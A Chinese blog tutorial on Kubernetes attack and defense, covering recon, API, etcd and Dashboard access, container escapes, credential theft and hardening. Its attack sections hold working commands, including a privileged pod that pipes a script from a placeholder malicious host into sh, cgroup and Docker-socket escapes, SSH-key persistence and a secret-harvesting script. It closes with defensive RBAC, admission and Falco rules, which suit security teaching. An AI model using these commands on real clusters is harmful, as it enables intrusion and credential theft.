K8s云原生安全攻防实战:从容器逃逸到集群接管(2026版)
·
📌 全文约4000字 | 适合:云原生工程师、安全运维、红队人员
📖 为什么K8s安全是2026年的必争之地?
2026年,Kubernetes已经统治了容器编排市场——超过90%的企业在生产环境运行K8s集群。但与此同时,K8s相关的安全事件同比暴增340%。
最经典的攻防悖论:K8s让部署变得简单,也让攻击面急剧扩大。
┌─────────────────────────────────────────────────────────────┐
│ K8s攻击面全景(2026版) │
├─────────────────────────────────────────────────────────────┤
│ │
│ API Server ─── 未授权访问/鉴权绕过 │
│ etcd ─── 未加密存储/直接访问 │
│ Kubelet ─── 匿名API/节点权限提升 │
│ Dashboard ─── 弱口令/未授权部署 │
│ Pod ─── 容器逃逸/资源滥用 │
│ RBAC ─── 配置错误/权限过度分配 │
│ Network ─── 东西流量未隔离/中间人攻击 │
│ Image ─── 镜像漏洞/供应链攻击 │
│ Secret ─── Base64编码未加密/泄露 │
│ │
└─────────────────────────────────────────────────────────────┘
⭐ 干货预警:本文覆盖从"研发误操作"到"高级红队攻击"的完整K8s攻防链路。
一、K8s攻击第一步:发现与侦察
1.1 发现集群API Server
K8s集群的入口是API Server(默认6443端口)。2026年最常见的暴露方式:
# ===== 方法1:利用Shodan/Censys搜索 =====
# 搜索语法:
# port:6443 http.title:"Kubernetes"
# port:6443 "kind: Namespace"
#
# 2026年全球暴露的API Server数量:约12万+
# ===== 方法2:内部网络扫描 =====
# 在内网中扫描K8s API
nmap -p 6443,2379,10250,10255 --open 目标网段/24 -oG k8s_hosts.txt
# ===== 方法3:K8s Service域名枚举 =====
# 在Pod内可以通过DNS枚举服务
for svc in $(cat common_services.txt); do
host $svc 2>/dev/null | grep "has address" && echo "Found: $svc"
done
1.2 Kubelet端口探测
Kubelet的10250/10255端口是红队最喜欢的目标:
# Kubelet API - 10250(认证) / 10255(未认证,2026年仍存在)
curl -k https://目标IP:10250/pods
# 如果返回Pod列表 => 可以进一步获取节点权限
# 检查节点信息
curl -k https://目标IP:10250/runningpods/
二、常见入口突破方式
2.1 未授权访问API Server(2026年仍有15%)
# 直连API Server,如果未授权(匿名用户权限足够高)
kubectl --insecure-skip-tls-verify -s https://目标IP:6443 get pods
# 如果能返回Pod列表 => 漏洞存在!
# 第二步:直接部署恶意Pod
# 创建恶意Pod.yml
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: attacker-pod
namespace: kube-system
spec:
serviceAccountName: cluster-admin
hostPID: true
hostNetwork: true
containers:
- name: attacker
image: alpine:latest
command: ["/bin/sh"]
args: ["-c", "apk add curl && curl http://恶意地址/shell.sh | sh"]
securityContext:
privileged: true
capabilities:
add: ["SYS_ADMIN"]
tolerations:
- effect: NoSchedule
operator: Exists
EOF
⚡ 原理:
privileged: true+hostPID: true= 容器逃逸+节点提权的基础配置
2.2 Dashboard弱口令
K8s Dashboard在2026年仍然是常见的"后门"入口:
# 获取Dashboard Service Account Token
kubectl -n kubernetes-dashboard get secret
# 获取Token
kubectl -n kubernetes-dashboard describe secret $(kubectl -n kubernetes-dashboard get secret | grep admin | awk '{print $1}')
# 生成的Token可以直接在Dashboard页面登录
# 如果Dashboard绑定了cluster-admin权限 => 直接管理全部集群
2.3 etcd直接访问
# etcd默认2379端口,存储了集群的全部状态
# 如果etcd未加密未认证:
# 列出所有key
ETCDCTL_API=3 etcdctl --endpoints=目标IP:2379 get / --prefix --keys-only
# 直接读取Secret
ETCDCTL_API=3 etcdctl --endpoints=目标IP:2379 get /registry/secrets/default/
三、容器逃逸(Container Escape)
进入Pod后,下一步是逃逸到宿主机节点。
3.1 检查容器逃逸条件
# 在Pod中执行:
# 检查是否有高权限
cat /proc/1/status | grep CapEff
# 如果CapEff包含以下capability,则存在逃逸可能:
# CAP_SYS_ADMIN - 挂载、命名空间操作
# CAP_SYS_PTRACE - 进程注入
# CAP_NET_ADMIN - 网络操作
# CAP_DAC_OVERRIDE - 文件系统绕过
# 检查是否挂载了宿主机目录
mount | grep /var/lib/kubelet
mount | grep /dev/sd
mount | grep /proc
# 检查是否有Docker Socket
ls -la /var/run/docker.sock
3.2 经典容器逃逸技术
技术A:挂载宿主机根目录逃逸
# 场景:Pod挂载了宿主机的根目录
# 检查方式:
ls /host/
ls /mnt/
# 逃逸方式(直接切换到宿主机文件系统):
chroot /host bash
# 现在你就拥有了宿主机的root权限!
# 持久化:写入SSH密钥
echo "你的公钥" >> /host/root/.ssh/authorized_keys
技术B:CVE-2024-XXXX容器逃逸(利用namespace漏洞)
# 利用Linux内核命名空间漏洞
# 步骤1:进入容器的namespace
nsenter --target 1 --mount --uts --ipc --pid -- bash
# 如果上面被限制,尝试利用release_agent逃逸
# 步骤2:利用cgroup release_agent
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/escape.sh" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /escape.sh
echo "chroot $host_path bash -c 'echo ssh-rsa... >> /root/.ssh/authorized_keys'" >> /escape.sh
chmod +x /escape.sh
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
技术C:利用Docker Socket逃逸
# 场景:Pod内挂载了/var/run/docker.sock
if [ -S /var/run/docker.sock ]; then
echo "[+] Docker Socket found! Starting escape..."
# 直接使用Docker CLI(如果安装了)
docker run -it --privileged --pid=host -v /:/host alpine chroot /host bash
# 或者通过curl访问Docker API
curl -X POST --unix-socket /var/run/docker.sock \
-H "Content-Type: application/json" \
-d '{
"Image": "alpine:latest",
"Cmd": ["chroot", "/host", "bash"],
"Binds": ["/:/host"],
"Privileged": true,
"PidMode": "host"
}' \
http://localhost/containers/create
# 启动容器
# curl http://localhost/containers/容器ID/start
fi
3.3 容器逃逸检测速查表
| 逃逸方式 | 前提条件 | EDR检测点 |
|---|---|---|
| 特权容器 | privileged: true | 安全上下文审计 |
| 宿主机目录挂载 | hostPath卷 | Kubelet日志审计 |
| cgroup release_agent | cgroup可挂载 | 内核告警+异常cgroup创建 |
| Docker Socket | docker.sock挂载 | 异常Docker API调用 |
| kernel漏洞 | 特定的内核版本 | 内核漏洞签名匹配 |
| /proc/sysrq-trigger | CAP_SYS_ADMIN | 异常系统请求检测 |
四、横向移动与集群提权
4.1 利用Service Account提权
在K8s中,每个Pod都有一个Service Account(SA)。如果SA的权限配置不当,就可以用来提权:
# ===== 当前Pod的默认Token位置 =====
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
# ===== 使用SA Token访问API Server =====
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
# 查看当前SA权限
curl -sk $APISERVER/api/v1/namespaces/default/secrets \
-H "Authorization: Bearer $TOKEN"
# 查看集群角色绑定(了解哪些SA有高权限)
curl -sk $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings \
-H "Authorization: Bearer $TOKEN" | grep -E "name|subjects"
4.2 自动化提权工具:kubectl-who-can
# 安装kubectl-who-can插件
kubectl krew install who-can
# 查看谁能创建Pod
kubectl who-can create pods
# 查看谁能访问Secret
kubectl who-can get secrets
# 如果有用户能create pods且create serviceaccounts
# => 可以创建高权限Pod -> 提权到节点
4.3 高价值凭证提取
# ===== 从K8s Secret中提取密码 =====
kubectl get secrets --all-namespaces -o json | jq -r '.items[] | {name: .metadata.name, namespace: .metadata.namespace, data: .data}'
# ===== 从ConfigMap中提取配置信息 =====
kubectl get configmaps --all-namespaces -o json | jq -r '.items[] | select(.data != null) | {name: .metadata.name, namespace: .metadata.namespace, data: .data}'
# ===== 获取kubeconfig文件(集群管理员权限) =====
# 通常位于:
cat ~/.kube/config
find / -name "kubeconfig" -type f 2>/dev/null
find / -name "kubeconfig*" 2>/dev/null
find / -name "*.kube" -type d 2>/dev/null
五、红队实战:自动化K8s攻击框架
5.1 推荐工具
| 工具 | 用途 | 2026年状态 |
|---|---|---|
| 🚀 Peirates | K8s渗透测试框架 | 活跃维护,功能最全 |
| 🚀 kube-hunter | K8s安全扫描 | 基础扫描可用 |
| 🚀 boomerang | SA Token横向移动 | 小众但实用 |
| 🚀 CDK | 容器渗透工具集 | 逃逸+扫描+代理 三合一 |
| 🚀 Kubescape | 合规扫描(红队视角) | 可发现配置缺陷 |
5.2 Peirates实战操作
# Peirates - K8s渗透一站式工具
# 下载:https://github.com/peirates/peirates
# 运行Peirates(在Pod内)
./peirates --auto
# 自动检测以下内容:
# 1. 当前Pod的SA权限
# 2. 可访问的Service和Pod
# 3. 可用的逃逸载体
# 4. 集群RoleBinding状态
# 一键操作菜单:
# 选项1: 获取Service Account Token
# 选项2: 列出集群中所有Pod
# 选项3: 尝试容器逃逸
# 选项4: 横向移动到其他节点
# 选项5: 创建一个高权限Pod进行提权
5.3 完整攻击链脚本
#!/bin/bash
# k8s_attack_chain.sh - 自动化K8s攻击链路
# 在Pod内执行
RED='\033[0;31m'
GREEN='\033[0;32m'
NC='\033[0m'
echo -e "${GREEN}[*] K8s攻击链自动化 - 仅供安全研究${NC}"
# 步骤1: 环境检测
echo -e "\n${GREEN}[1/5] 检测K8s环境...${NC}"
if [ -f /var/run/secrets/kubernetes.io/serviceaccount/token ]; then
echo "[+] 确认在K8s Pod内"
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
echo "[+] Namespace: $NAMESPACE"
else
echo "[-] 不在K8s Pod内或Token不可访问"
exit 1
fi
# 步骤2: 检测SA权限
echo -e "\n${GREEN}[2/5] 检测SA权限...${NC}"
APISERVER="https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT"
RESPONSE=$(curl -sk $APISERVER/api/v1/pods?limit=1 -H "Authorization: Bearer $TOKEN" -o /dev/null -w "%{http_code}")
if [ $RESPONSE -eq 200 ]; then
echo "[+] SA有get pods权限"
else
echo "[-] SA权限有限 (HTTP $RESPONSE)"
fi
# 步骤3: 检测逃逸条件
echo -e "\n${GREEN}[3/5] 检测容器逃逸条件...${NC}"
if [ -S /var/run/docker.sock ]; then
echo "[+] Docker Socket可访问"
elif [ -f /host/etc/shadow ]; then
echo "[+] 宿主机目录已挂载"
elif cat /proc/1/status | grep -q "0000003fffffffff\|0000001fffffffff"; then
echo "[+] 存在高权限Capability"
fi
# 步骤4: 集群信息收集
echo -e "\n${GREEN}[4/5] 集群信息收集...${NC}"
curl -sk $APISERVER/api/v1/nodes -H "Authorization: Bearer $TOKEN" | \
grep -o '"name":"[^"]*"' | head -10
# 步骤5: 尝试提取有价值的Secret
echo -e "\n${GREEN}[5/5] 提取高价值Secret...${NC}"
# 遍历常见高权限命名空间
for ns in kube-system default kube-public cattle-system; do
SECRETS=$(curl -sk "$APISERVER/api/v1/namespaces/$ns/secrets" \
-H "Authorization: Bearer $TOKEN" | grep -o '"name":"[^"]*"')
if [ -n "$SECRETS" ]; then
echo "[+] Namespace: $ns - 找到Secret"
fi
done
六、蓝队防御:K8s安全加固清单
6.1 最小权限原则
# RBAC配置示例:最小权限Service Account
apiVersion: v1
kind: ServiceAccount
metadata:
name: microservice-sa
namespace: production
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
namespace: production
name: microservice-role
rules:
- apiGroups: [""]
resources: ["pods"]
verbs: ["get", "list"] # ❌ 无create/delete权限
- apiGroups: [""]
resources: ["configmaps"]
verbs: ["get"] # ❌ 只能读不能写
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: microservice-binding
namespace: production
subjects:
- kind: ServiceAccount
name: microservice-sa
roleRef:
kind: Role
name: microservice-role
apiGroup: rbac.authorization.k8s.io
6.2 Pod安全策略(必配项)
# Pod Security Admission - 2026年默认启用
apiVersion: pod-security.admission.config.k8s.io/v1
kind: PodSecurityConfiguration
defaults:
enforce: "restricted" # 最严格级别
enforce-version: "latest"
exemptions:
namespaces: ["kube-system", "gatekeeper-system"]
# 禁止的关键配置(2026年高危列表):
# ❌ privileged: true
# ❌ hostPID: true
# ❌ hostNetwork: true
# ❌ capabilities.add: ["SYS_ADMIN"]
# ❌ volumeMounts: /var/run/docker.sock
6.3 2026年K8s安全必配工具
| 工具 | 作用 | 部署方式 |
|---|---|---|
| 🛡️ Kyverno | 策略引擎(强制安全配置) | Admission Controller |
| 🛡️ Falco | 运行时安全监控 | DaemonSet + 内核模块 |
| 🛡️ OPA Gatekeeper | 准入控制策略 | Admission Controller |
| 🛡️ NeuVector | 容器安全平台(CVE扫描+网络隔离) | 完整平台 |
| 🛡️ Kube-bench | CIS Benchmark自动检查 | CronJob定期扫描 |
| 🛡️ Trivy | 镜像漏洞扫描 | CI/CD集成 |
6.4 关键检测规则
# Falco规则示例:检测特权容器创建
- rule: Privileged Container Started
desc: 检测特权容器的创建
condition: >
container_started and container.privileged=true
output: >
特权容器已启动 (user=%user.name container=%container.name image=%container.image)
priority: CRITICAL
tags: [container, mitre_privilege_escalation]
# 检测挂载Docker Socket
- rule: Docker Socket Mounted
desc: 检测Docker Socket被挂载到容器
condition: >
mount and fd.name contains "docker.sock"
output: >
Docker Socket挂载 (container=%container.name mount=%fd.name)
priority: CRITICAL
# 检测容器逃逸尝试
- rule: Container Escape Attempt
desc: 检测cgroup release_agent逃逸
condition: >
write and fd.name contains "release_agent"
output: >
潜在逃逸尝试 (container=%container.name)
priority: CRITICAL
🎯 总结
K8s安全攻防的核心矛盾:
便利性 ←—— → 安全性
│ │
│ 配置越简单 │
│ 攻击面越大 │
│ │
└──────────────┘
找到平衡点是关键
给攻防双方的建议:
| 角色 | 建议 |
|---|---|
| 🔴 红队 | 重点关注RBAC误配置+容器逃逸路径,这是K8s集群最薄弱的两环 |
| 🔵 蓝队 | 部署Pod Security Admission + Falco + 定期审计RBAC,能挡住80%的攻击 |
一句话:K8s本身是安全的,不安全的是它的配置方式。
⭐ 如果对你有帮助:点赞 + 收藏 + 关注,三连支持!
💬 评论区聊聊:你管理的K8s集群踩过哪些安全坑?
📌 更多系列文章:点击头像查看"免杀与EDR对抗"、"应急响应取证"等文章
#Kubernetes #K8s安全 #云原生 #容器逃逸 #云安全 #DevSecOps #网络安全 #红蓝对抗 #Docker #CKS
更多推荐

所有评论(0)